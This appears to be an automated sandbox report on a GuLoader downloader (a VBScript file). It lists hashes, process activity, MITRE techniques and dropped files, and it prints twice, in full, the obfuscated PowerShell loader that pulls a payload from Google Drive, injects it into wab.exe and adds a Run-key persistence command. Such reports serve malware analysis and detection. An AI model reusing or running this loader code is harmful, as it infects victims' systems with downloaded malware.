guloader | a14d83525d5d0c6942f1c2b0f6998acddf472655d0f998b9614d2a70b8df54af

Analysis

max time kernel
119s
max time network
137s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
24-06-2024 15:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

BL-RTM1439068.vbs
Size

9KB
MD5

f369abd236c71d5b1c89e2c7a2304548
SHA1

c0913ba6a19b4e136e76b07452ec400cf3870405
SHA256

a14d83525d5d0c6942f1c2b0f6998acddf472655d0f998b9614d2a70b8df54af
SHA512

0faf0fb26fbfd93c5cff91700f52c4d07124a212274e5e3cd5e6793a50d14b3519a365e2ce2715bfc5bc1ba9f19db585ba507e3a844d617310ca85339cf88305
SSDEEP

192:Gdnx4g3W2CfJysndF8+htnG/r9Tft+3k6xjlsbdWuHITjGaW/OqlDoUslStBGfX:TFgCwwAT9Tok6EmUOqJYl6BGfX

Score

10^/10

guloader downloader execution persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

5 1344 powershell.exe
7 1344 powershell.exe
9 1344 powershell.exe
12 1344 powershell.exe
14 1344 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1344 powershell.exe

flow	pid	process
5	1344	powershell.exe
7	1344	powershell.exe
9	1344	powershell.exe
12	1344	powershell.exe
14	1344	powershell.exe

pid	process
1344	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows\CurrentVersion\Run\Restoral = "%Benvarmerne% -w 1 $Hyperacusia=(Get-ItemProperty -Path 'HKCU:\\Stabilisere\\').Boligblokke;%Benvarmerne% ($Hyperacusia)"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

4 drive.google.com
5 drive.google.com
16 drive.google.com
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

wab.exe

pid process

2524 wab.exe
2524 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2500 powershell.exe
2524 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2500 set thread context of 2524 2500 powershell.exe wab.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2620 reg.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exe

pid process

1344 powershell.exe
2500 powershell.exe
2500 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2500 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1344 powershell.exe
Token: SeDebugPrivilege 2500 powershell.exe

flow	ioc
4	drive.google.com
5	drive.google.com
16	drive.google.com

pid	process
2524	wab.exe
2524	wab.exe

pid	process
2500	powershell.exe
2524	wab.exe

description	pid	process	target process
PID 2500 set thread context of 2524	2500	powershell.exe	wab.exe

pid	process
2620	reg.exe

pid	process
1344	powershell.exe
2500	powershell.exe
2500	powershell.exe

pid	process
2500	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1344	powershell.exe
Token: SeDebugPrivilege	2500	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

WScript.exepowershell.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 1368 wrote to memory of 1344	1368	WScript.exe	powershell.exe
PID 1368 wrote to memory of 1344	1368	WScript.exe	powershell.exe
PID 1368 wrote to memory of 1344	1368	WScript.exe	powershell.exe
PID 1344 wrote to memory of 2992	1344	powershell.exe	cmd.exe
PID 1344 wrote to memory of 2992	1344	powershell.exe	cmd.exe
PID 1344 wrote to memory of 2992	1344	powershell.exe	cmd.exe
PID 1344 wrote to memory of 2500	1344	powershell.exe	powershell.exe
PID 1344 wrote to memory of 2500	1344	powershell.exe	powershell.exe
PID 1344 wrote to memory of 2500	1344	powershell.exe	powershell.exe
PID 1344 wrote to memory of 2500	1344	powershell.exe	powershell.exe
PID 2500 wrote to memory of 2940	2500	powershell.exe	cmd.exe
PID 2500 wrote to memory of 2940	2500	powershell.exe	cmd.exe
PID 2500 wrote to memory of 2940	2500	powershell.exe	cmd.exe
PID 2500 wrote to memory of 2940	2500	powershell.exe	cmd.exe
PID 2500 wrote to memory of 2524	2500	powershell.exe	wab.exe
PID 2500 wrote to memory of 2524	2500	powershell.exe	wab.exe
PID 2500 wrote to memory of 2524	2500	powershell.exe	wab.exe
PID 2500 wrote to memory of 2524	2500	powershell.exe	wab.exe
PID 2500 wrote to memory of 2524	2500	powershell.exe	wab.exe
PID 2500 wrote to memory of 2524	2500	powershell.exe	wab.exe
PID 2524 wrote to memory of 1664	2524	wab.exe	cmd.exe
PID 2524 wrote to memory of 1664	2524	wab.exe	cmd.exe
PID 2524 wrote to memory of 1664	2524	wab.exe	cmd.exe
PID 2524 wrote to memory of 1664	2524	wab.exe	cmd.exe
PID 1664 wrote to memory of 2620	1664	cmd.exe	reg.exe
PID 1664 wrote to memory of 2620	1664	cmd.exe	reg.exe
PID 1664 wrote to memory of 2620	1664	cmd.exe	reg.exe
PID 1664 wrote to memory of 2620	1664	cmd.exe	reg.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\BL-RTM1439068.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1368

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -windowstyle hidden "cls;write 'Unenticed247 Biograferingens Lovforslagets tyskerne codders viskerrobot Begrdelsen Klausulerne gasnings Diplomatical104 Havblikket Fetaers233 Talon76 Grousing Tverne Untirability Exomorphism Lifelines Blt Burgh Skydegalestes Miilimetrene sandstensmonumenternes Argyll Unenticed247 Biograferingens Lovforslagets tyskerne codders viskerrobot Begrdelsen Klausulerne gasnings Diplomatical104 Havblikket Fetaers233 Talon76 Grousing Tverne Untirability Exomorphism Lifelines Blt Burgh Skydegalestes Miilimetrene sandstensmonumenternes Argyll';$Attentatforsget = 1;Function Diluvial($Scalars){$Arthropods=$Scalars.Length-$Attentatforsget;$Runknes='SUBSTRIN';$Runknes+='G';For( $Tuberkuls=4;$Tuberkuls -lt $Arthropods;$Tuberkuls+=5){$Unenticed247+=$Scalars.$Runknes.Invoke( $Tuberkuls, $Attentatforsget);}$Unenticed247;}function Aagerkarlene($Morphotactic){ . ($Millionvises232) ($Morphotactic);}$Soundboxes=Diluvial 'muliMAnino yrezSubqi Di lPostl wyta,sse/,sia5Hes..Aand0Phac Cata(ForkWKorri EmhnDistdPa toArr.w.astsMisc UretNJv.aTEnse Mov1Blin0 Spa.Belg0Skew;eup PrakWRigsiLi snTrff6Epir4Br,s;Sejr Analx be.6uslg4Grau;Scep SombrMoravSwer:Rigs1B ot2 dd1Anim. Men0Pedd) M c NautGPulme TilcResyk FlgoBove/Hals2M,nc0Stra1Basu0 S a0Pass1Phoc0Sole1Udmn FolFcaliiMorfrKr,se FedfFriboBi txSna./ Goo1Club2Cyto1Reci.Syst0Char ';$Tony=Diluvial 'JamaUM.jssAnase no,rPrgn-Rnn A gglgWondeProtnRevetAsys ';$codders=Diluvial 'BillhFondtFlamt Frap.tonsKo,p: Kar/Efte/NeurdPrimrDi.si a.mvS,eseAdju.i tegtallo onioA.erg Pr l,xemeVice. ma,cBrano E,dmGenn/ Oveu Sndc.ono?MtaaeSva xChiapGa ooRea rAntitVali=ButtdUn.ioChelw DrinriselStraoElskade odElec&Bud,iMashd,ngr=Kara1U paf affJSkar8 ocT StrSCotrbHexa- E,uI KarGRe eKAntiZU,seC.ncoNAlampGsteg AstGAstivundeq KilO DepvAssePM,rkuAlkoIKonsT BinRMyotmAp,epPladJPostctit IAtalqadap2Mer, ';$Alkoholikeres139=Diluvial 'Rumf>skum ';$Millionvises232=Diluvial ' rskiOvere Chix.nte ';$Spettle='Klausulerne';$Armiferous = Diluvial 'LinteNivec FlohS.btoGidd Tru%Renta P.kpMilipU,spdFantaLigetbaada ,ub%Port\ ,rkd,avsjH lprSis vSulpeZ.musPalytH,ft. CouNStvkoH,agnS,il Inte&Uddu&Indh UndeeFuttcaudihVaneoSyvo KortVodb ';Aagerkarlene (Diluvial 'Feb $PorsgEl,ilP.jnoDesmbBa.naSommlFo,v:hyloKPulll ,laisplim Fria F gzSemioVarinTripeUnd.= Ps,(Duktc Vi,mAnt.dPoly Tjen/ koncNa,a F.li$IsorA xperTermm BiniMetafC,ane Mttr,ordo .oduM nisMano)C pn ');Aagerkarlene (Diluvial 'Schr$ EragLandlChouoDeenbFumaaMbenlCurt:Nyd tExceyMammsToehkFinge Ne,r edinFarveBekm=F rs$RemicBundo ne dParxdPseueOverrDrejsExce.Kon s RevpAandlUforiImmetElde(Over$Ku.lAR.otlLangkGi.boPerihIngeo,addlJ juitalekVekseB slrHe eeEnvasHome1Unbe3Staf9 .ve) Att ');Aagerkarlene (Diluvial 'Impe[thi.N .nie Plat .yn.Sta,SDeereAlterG.odvBromiOstrcKo,meKon PBegooSpeci K an UndtKyklMChevaOrign Osta DrygZ,noeY gsrSpal],oka:Pig : PigSChaleArgoc ,rauGlycr PaaiLacttAp,ryslewPM rkrMoonoResttBol,oDyrec,almo ayaltoro Co n=Slem ,ipp[ F aN PtyeAnnot yed.Uns SQuireB,owcMonouT.mur issi RentDunkyMagnPFl nrPapeoMel.tLandoFabucPigtoU rolC osT Bomy Neup,orae Kon]uakt:.sre:Thy.T ReslU.brsdr n1Samm2 lu ');$codders=$tyskerne[0];$Agerdyrkeren= (Diluvial 'C nt$ Hovg Prals.iroT,lebcounaFilolHell:,hugVDoo aEnt.cStyrcEucai Fasn F,laSubst An,iDes,oLrd.nSuns=ResuN Bo e .arw,pnd-AlteONeshbNiesjmatreSystcEkvitCr d stjS,ilsydiamsQuistVinteRar.mOms .BrevN.arie .tjtTro . HelWAcceeVl ib ComC ,kylSlvfiAbdueOvernFrert');$Agerdyrkeren+=$Klimazone[1];Aagerkarlene ($Agerdyrkeren);Aagerkarlene (Diluvial 'Citr$BetaVPoplaTh rcVawacS,lti Da n Disa arcthom.iGeyso SlanGlos. TunHEndoeUncoa ob,dDenteStedrMentsU oc[ Kje$Tod,TReveo BornCissyMeso]Vert=Turs$MongSSireoBi,huBegonFourdUn,obSmitoHednxCre eSnorsSemi ');$Neuritides=Diluvial ' Xis$DensVCuraaIndsc vrdcArb,iExcunWarma To,tIsadiBalloSkifn.nge.Blu,D Indo BenwS nsnS lglHil,oalfoaProcdI.diFUnduiH,rolDondeDo.m(Cult$Nit cS anoPretdEr.md.erie Ci,r xtrsrson,Jagt$K.inMVesuiKn fiTakklHandimedimawsheMetatNonpr oteEndonG,dbeSwee)Barb ';$Miilimetrene=$Klimazone[0];Aagerkarlene (Diluvial 'Sm.g$SekogMortl MuloForlb abua eenlUnsy:ContLS lvo ,omtBarru PcgsUnde= Pri(LelwTGerse Bu.sAlb,tRe r-Dri.P SkyaLya,tD,gbhFerr Tor$ tidMJumpiHv ei OrdlTogsiCharmRec e Fo tGtevrPetaeSmlenSkadeCind)Ldr, ');while (!$Lotus) {Aagerkarlene (Diluvial ' Pan$ He,gTumblRei o Synb.nfaaShell Syn:ForsNU,liaMeterBic.c ,iro.ndthLivsy MakpMyotnSuiciBruga Pos=Mir,$PhottBeler,ealuWasheUntr ') ;Aagerkarlene $Neuritides;Aagerkarlene (Diluvial 'Pre,SAioltCluma en.rRefet Ove-CaliSVarilIncoeFl.eeRitrpsu,k ha4katc ');Aagerkarlene (Diluvial ' Mal$ Soeg TeglPro,o.holbFor.aNonml Kus: ,opLC uso,jertmi mu retsNonm=U.jo( CitTPreve Re,sVokat,nsh- urPC.keaBlomtPterhTiz. tred$ ,loM Lydi,nkeiAarsl Bori A.bmUnore AfvtBrugr Luve Musn socech,l).esv ') ;Aagerkarlene (Diluvial 'K,rt$,ndlgtoddlDdsmo,arabGudsaFl.klExpa:Ab.uLMisaoF ervFrkkfOveroA.por angs,derl ,ejahaltgNonseSupetB,gvsChlo=Mn,t$C.eagLoculBuksoRemab DomaTasklEf e:ForpBM iniHav,o MelgAl irsl naBeglfInd,eSektrSkemi alanAkalgTydeeKonsnDefesBaks+,eta+For.%Slin$LynntWa pyStensA,lukAmfieV.rdrKar ngeroeCord. Barc UndoRep,uBeg.n.anktAs p ') ;$codders=$tyskerne[$Lovforslagets];}$Landbrugsarealer193=287883;$Outwringing=27559;Aagerkarlene (Diluvial ',ors$ CoegDem,lNagaoSp db,yosaRegrl,ess: Tofg.oulaEg rs.rvlnSaltiKjoln kigSvolsDefo Smaa=Uni .otoGFrieeVllitAfva-SkrtCOplso ypenCephtFrokeIrennNonrt ,es Camp$ LipM riviKrapiTrovlafstiAutem OveeAnkltLurcrtl.ie.euinPabueRege ');Aagerkarlene (Diluvial 'Ag r$AudigFonel Ubio.mbib SynaKldnlAver:,ldeFUd,yoTilgroml,gSiddeHae.mPreca ropkMa.ikMilie A gtSupesAnve Ditt=Plum Prod[NedkS,netyMistsB,rttturme BeemCana.VrigC conoR,lenBurgv NoneOperrAfsltE.sp]Defe: Hus:JillF AbarCreooVenum upeB Sk,aBagpsthaleHyp 6 un,4ForaSOraltPrutrTrekifro.nForhgBedy(Toks$D.kegNonbaStaksPjalnA raiRef n enag Dels Udt)Akti ');Aagerkarlene (Diluvial 'Pele$ jelgPa alPrisoSargbjoseaSebrlS ar:E seF ateeR cutSoppaMod,e onrMastsBlod2,ubc3Blo.3,lin Chic=Cra, Noto[NanaSDe ayGonosHuntt Pr.eVel,mClea.TeleT Pole bi x pectCeph.HngeER.aknG.mncConto Disd Un i U.enPi hgCho.]Sys,:,dsh:,estAR.agSPrecCDiasIOpnaIStiv.Ba lG Fa.eMoult TnkSKredtNegrrProfiMaggnLafggTitu( Spr$VatiFBeago cr,rStumgC.eteUndemIsocaHydrkPro.kPseueBlont,rths Per)Fre. ');Aagerkarlene (Diluvial 'Fibr$ RubgTelelUnmioTraib.ersaStaflbang:SubtKU,opa,rapt S,uaRu,flvioloUkeng aleeRetftVimps Anl=Isbj$ angFSi ve AgttIdi,aWap,e ,wer runsPate2Ansk3Afpl3Outw.forbs Trau Fe,b Hj.sfle.tTilir Aa.iKrftn HaagAppa( Hel$A.seLRuckaunstntrfodIspeb.dstrp.ouuRatlg.lers .rga P erForteAnisaPionl RoneOekir,iog1Disp9 Her3Beti,Tho,$VocaOSpinuExcet SpiwSkolrWhiti Bo,n gemg AabiS lvn D,ggGalv) unr ');Aagerkarlene $Katalogets;"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1344

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\djrvest.Non && echo t"
3⤵
PID:2992

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Unenticed247 Biograferingens Lovforslagets tyskerne codders viskerrobot Begrdelsen Klausulerne gasnings Diplomatical104 Havblikket Fetaers233 Talon76 Grousing Tverne Untirability Exomorphism Lifelines Blt Burgh Skydegalestes Miilimetrene sandstensmonumenternes Argyll Unenticed247 Biograferingens Lovforslagets tyskerne codders viskerrobot Begrdelsen Klausulerne gasnings Diplomatical104 Havblikket Fetaers233 Talon76 Grousing Tverne Untirability Exomorphism Lifelines Blt Burgh Skydegalestes Miilimetrene sandstensmonumenternes Argyll';$Attentatforsget = 1;Function Diluvial($Scalars){$Arthropods=$Scalars.Length-$Attentatforsget;$Runknes='SUBSTRIN';$Runknes+='G';For( $Tuberkuls=4;$Tuberkuls -lt $Arthropods;$Tuberkuls+=5){$Unenticed247+=$Scalars.$Runknes.Invoke( $Tuberkuls, $Attentatforsget);}$Unenticed247;}function Aagerkarlene($Morphotactic){ . ($Millionvises232) ($Morphotactic);}$Soundboxes=Diluvial 'muliMAnino yrezSubqi Di lPostl wyta,sse/,sia5Hes..Aand0Phac Cata(ForkWKorri EmhnDistdPa toArr.w.astsMisc UretNJv.aTEnse Mov1Blin0 Spa.Belg0Skew;eup PrakWRigsiLi snTrff6Epir4Br,s;Sejr Analx be.6uslg4Grau;Scep SombrMoravSwer:Rigs1B ot2 dd1Anim. Men0Pedd) M c NautGPulme TilcResyk FlgoBove/Hals2M,nc0Stra1Basu0 S a0Pass1Phoc0Sole1Udmn FolFcaliiMorfrKr,se FedfFriboBi txSna./ Goo1Club2Cyto1Reci.Syst0Char ';$Tony=Diluvial 'JamaUM.jssAnase no,rPrgn-Rnn A gglgWondeProtnRevetAsys ';$codders=Diluvial 'BillhFondtFlamt Frap.tonsKo,p: Kar/Efte/NeurdPrimrDi.si a.mvS,eseAdju.i tegtallo onioA.erg Pr l,xemeVice. ma,cBrano E,dmGenn/ Oveu Sndc.ono?MtaaeSva xChiapGa ooRea rAntitVali=ButtdUn.ioChelw DrinriselStraoElskade odElec&Bud,iMashd,ngr=Kara1U paf affJSkar8 ocT StrSCotrbHexa- E,uI KarGRe eKAntiZU,seC.ncoNAlampGsteg AstGAstivundeq KilO DepvAssePM,rkuAlkoIKonsT BinRMyotmAp,epPladJPostctit IAtalqadap2Mer, ';$Alkoholikeres139=Diluvial 'Rumf>skum ';$Millionvises232=Diluvial ' rskiOvere Chix.nte ';$Spettle='Klausulerne';$Armiferous = Diluvial 'LinteNivec FlohS.btoGidd Tru%Renta P.kpMilipU,spdFantaLigetbaada ,ub%Port\ ,rkd,avsjH lprSis vSulpeZ.musPalytH,ft. CouNStvkoH,agnS,il Inte&Uddu&Indh UndeeFuttcaudihVaneoSyvo KortVodb ';Aagerkarlene (Diluvial 'Feb $PorsgEl,ilP.jnoDesmbBa.naSommlFo,v:hyloKPulll ,laisplim Fria F gzSemioVarinTripeUnd.= Ps,(Duktc Vi,mAnt.dPoly Tjen/ koncNa,a F.li$IsorA xperTermm BiniMetafC,ane Mttr,ordo .oduM nisMano)C pn ');Aagerkarlene (Diluvial 'Schr$ EragLandlChouoDeenbFumaaMbenlCurt:Nyd tExceyMammsToehkFinge Ne,r edinFarveBekm=F rs$RemicBundo ne dParxdPseueOverrDrejsExce.Kon s RevpAandlUforiImmetElde(Over$Ku.lAR.otlLangkGi.boPerihIngeo,addlJ juitalekVekseB slrHe eeEnvasHome1Unbe3Staf9 .ve) Att ');Aagerkarlene (Diluvial 'Impe[thi.N .nie Plat .yn.Sta,SDeereAlterG.odvBromiOstrcKo,meKon PBegooSpeci K an UndtKyklMChevaOrign Osta DrygZ,noeY gsrSpal],oka:Pig : PigSChaleArgoc ,rauGlycr PaaiLacttAp,ryslewPM rkrMoonoResttBol,oDyrec,almo ayaltoro Co n=Slem ,ipp[ F aN PtyeAnnot yed.Uns SQuireB,owcMonouT.mur issi RentDunkyMagnPFl nrPapeoMel.tLandoFabucPigtoU rolC osT Bomy Neup,orae Kon]uakt:.sre:Thy.T ReslU.brsdr n1Samm2 lu ');$codders=$tyskerne[0];$Agerdyrkeren= (Diluvial 'C nt$ Hovg Prals.iroT,lebcounaFilolHell:,hugVDoo aEnt.cStyrcEucai Fasn F,laSubst An,iDes,oLrd.nSuns=ResuN Bo e .arw,pnd-AlteONeshbNiesjmatreSystcEkvitCr d stjS,ilsydiamsQuistVinteRar.mOms .BrevN.arie .tjtTro . HelWAcceeVl ib ComC ,kylSlvfiAbdueOvernFrert');$Agerdyrkeren+=$Klimazone[1];Aagerkarlene ($Agerdyrkeren);Aagerkarlene (Diluvial 'Citr$BetaVPoplaTh rcVawacS,lti Da n Disa arcthom.iGeyso SlanGlos. TunHEndoeUncoa ob,dDenteStedrMentsU oc[ Kje$Tod,TReveo BornCissyMeso]Vert=Turs$MongSSireoBi,huBegonFourdUn,obSmitoHednxCre eSnorsSemi ');$Neuritides=Diluvial ' Xis$DensVCuraaIndsc vrdcArb,iExcunWarma To,tIsadiBalloSkifn.nge.Blu,D Indo BenwS nsnS lglHil,oalfoaProcdI.diFUnduiH,rolDondeDo.m(Cult$Nit cS anoPretdEr.md.erie Ci,r xtrsrson,Jagt$K.inMVesuiKn fiTakklHandimedimawsheMetatNonpr oteEndonG,dbeSwee)Barb ';$Miilimetrene=$Klimazone[0];Aagerkarlene (Diluvial 'Sm.g$SekogMortl MuloForlb abua eenlUnsy:ContLS lvo ,omtBarru PcgsUnde= Pri(LelwTGerse Bu.sAlb,tRe r-Dri.P SkyaLya,tD,gbhFerr Tor$ tidMJumpiHv ei OrdlTogsiCharmRec e Fo tGtevrPetaeSmlenSkadeCind)Ldr, ');while (!$Lotus) {Aagerkarlene (Diluvial ' Pan$ He,gTumblRei o Synb.nfaaShell Syn:ForsNU,liaMeterBic.c ,iro.ndthLivsy MakpMyotnSuiciBruga Pos=Mir,$PhottBeler,ealuWasheUntr ') ;Aagerkarlene $Neuritides;Aagerkarlene (Diluvial 'Pre,SAioltCluma en.rRefet Ove-CaliSVarilIncoeFl.eeRitrpsu,k ha4katc ');Aagerkarlene (Diluvial ' Mal$ Soeg TeglPro,o.holbFor.aNonml Kus: ,opLC uso,jertmi mu retsNonm=U.jo( CitTPreve Re,sVokat,nsh- urPC.keaBlomtPterhTiz. tred$ ,loM Lydi,nkeiAarsl Bori A.bmUnore AfvtBrugr Luve Musn socech,l).esv ') ;Aagerkarlene (Diluvial 'K,rt$,ndlgtoddlDdsmo,arabGudsaFl.klExpa:Ab.uLMisaoF ervFrkkfOveroA.por angs,derl ,ejahaltgNonseSupetB,gvsChlo=Mn,t$C.eagLoculBuksoRemab DomaTasklEf e:ForpBM iniHav,o MelgAl irsl naBeglfInd,eSektrSkemi alanAkalgTydeeKonsnDefesBaks+,eta+For.%Slin$LynntWa pyStensA,lukAmfieV.rdrKar ngeroeCord. Barc UndoRep,uBeg.n.anktAs p ') ;$codders=$tyskerne[$Lovforslagets];}$Landbrugsarealer193=287883;$Outwringing=27559;Aagerkarlene (Diluvial ',ors$ CoegDem,lNagaoSp db,yosaRegrl,ess: Tofg.oulaEg rs.rvlnSaltiKjoln kigSvolsDefo Smaa=Uni .otoGFrieeVllitAfva-SkrtCOplso ypenCephtFrokeIrennNonrt ,es Camp$ LipM riviKrapiTrovlafstiAutem OveeAnkltLurcrtl.ie.euinPabueRege ');Aagerkarlene (Diluvial 'Ag r$AudigFonel Ubio.mbib SynaKldnlAver:,ldeFUd,yoTilgroml,gSiddeHae.mPreca ropkMa.ikMilie A gtSupesAnve Ditt=Plum Prod[NedkS,netyMistsB,rttturme BeemCana.VrigC conoR,lenBurgv NoneOperrAfsltE.sp]Defe: Hus:JillF AbarCreooVenum upeB Sk,aBagpsthaleHyp 6 un,4ForaSOraltPrutrTrekifro.nForhgBedy(Toks$D.kegNonbaStaksPjalnA raiRef n enag Dels Udt)Akti ');Aagerkarlene (Diluvial 'Pele$ jelgPa alPrisoSargbjoseaSebrlS ar:E seF ateeR cutSoppaMod,e onrMastsBlod2,ubc3Blo.3,lin Chic=Cra, Noto[NanaSDe ayGonosHuntt Pr.eVel,mClea.TeleT Pole bi x pectCeph.HngeER.aknG.mncConto Disd Un i U.enPi hgCho.]Sys,:,dsh:,estAR.agSPrecCDiasIOpnaIStiv.Ba lG Fa.eMoult TnkSKredtNegrrProfiMaggnLafggTitu( Spr$VatiFBeago cr,rStumgC.eteUndemIsocaHydrkPro.kPseueBlont,rths Per)Fre. ');Aagerkarlene (Diluvial 'Fibr$ RubgTelelUnmioTraib.ersaStaflbang:SubtKU,opa,rapt S,uaRu,flvioloUkeng aleeRetftVimps Anl=Isbj$ angFSi ve AgttIdi,aWap,e ,wer runsPate2Ansk3Afpl3Outw.forbs Trau Fe,b Hj.sfle.tTilir Aa.iKrftn HaagAppa( Hel$A.seLRuckaunstntrfodIspeb.dstrp.ouuRatlg.lers .rga P erForteAnisaPionl RoneOekir,iog1Disp9 Her3Beti,Tho,$VocaOSpinuExcet SpiwSkolrWhiti Bo,n gemg AabiS lvn D,ggGalv) unr ');Aagerkarlene $Katalogets;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2500

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\djrvest.Non && echo t"
4⤵
PID:2940

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:2524

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Restoral" /t REG_EXPAND_SZ /d "%Benvarmerne% -w 1 $Hyperacusia=(Get-ItemProperty -Path 'HKCU:\Stabilisere\').Boligblokke;%Benvarmerne% ($Hyperacusia)"
5⤵
- Suspicious use of WriteProcessMemory
PID:1664

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Restoral" /t REG_EXPAND_SZ /d "%Benvarmerne% -w 1 $Hyperacusia=(Get-ItemProperty -Path 'HKCU:\Stabilisere\').Boligblokke;%Benvarmerne% ($Hyperacusia)"
6⤵
- Adds Run key to start application
- Modifies registry key
PID:2620

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357
Filesize
1KB

MD5
a266bb7dcc38a562631361bbf61dd11b

SHA1
3b1efd3a66ea28b16697394703a72ca340a05bd5

SHA256
df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

SHA512
0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
342B

MD5
e4d2c3188e088462880c294788cba742

SHA1
92c90441bb27711a99faafd2cf4a88cb2c4165f4

SHA256
926d45df577704258ae776bec82a091509beadafe109e4edd4536fd4c34505b7

SHA512
032e7166d83e3e7a70f77666676f2751fcfaa790816522132e32f3655cc59e77e2b4966b14744918cf359dc82a9ebd66f90f55a77ceb41c855984313eb62a1ed

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
Filesize
242B

MD5
a994d48179a25722289256a56cfea5d8

SHA1
e1ee87e85148bdb22cc5aacce6a08ead7a24f8c9

SHA256
dbc533843cf45caeae2194583a462dd212204bed6484c2d6f4a0440c8a89d023

SHA512
10c5cf85d045ac09e29901aaa7fe62ee26b78a3fa2d784ecda6e2865cdc86a0a8b107103416d8102b713eecfa46d520b0020f8ba7a1721b69fc31e23dcfaea77

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MET61HOD5UB5LUBA1ZZC.temp
Filesize
7KB

MD5
8cb958297bd2a9e50e0e78d50c8805e5

SHA1
76d80739de5c09d708a75d7c59c1dcdc587d690d

SHA256
331f02e89e7f7a21a0901f6187abd05e349e9e6a2b886e59ecd76a70c0f6c901

SHA512
d6c859877c6cf6daea016756dce03af58157c831d2bb440b15ffc19f03068fad917820d3d06dc5c23498c3e326d00ae8eccb82cf626a710cfd7dc6a0d3756a1f

Download Submit
C:\Users\Admin\AppData\Roaming\djrvest.Non
Filesize
410KB

MD5
906a6614db64893fc9c0a7bd80f8c51e

SHA1
c453268fe8cf78a4912dd993e34ac5b5eec50a47

SHA256
358414e2e4501e92097c00ff5444479aeaba5e810ddb75ca3216210e3c5f0d93

SHA512
9323ff9c551c9f872fc902c52512f4649ddb0744c729034709f3768acf8a5f8f6c437bbe67644fdc2b5cc48c44de15a437ca7efd7dc8635de79b9787637195ee

Download Submit
memory/1344-9-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/1344-5-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/1344-10-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/1344-4-0x000007FEF534E000-0x000007FEF534F000-memory.dmp

Filesize
4KB

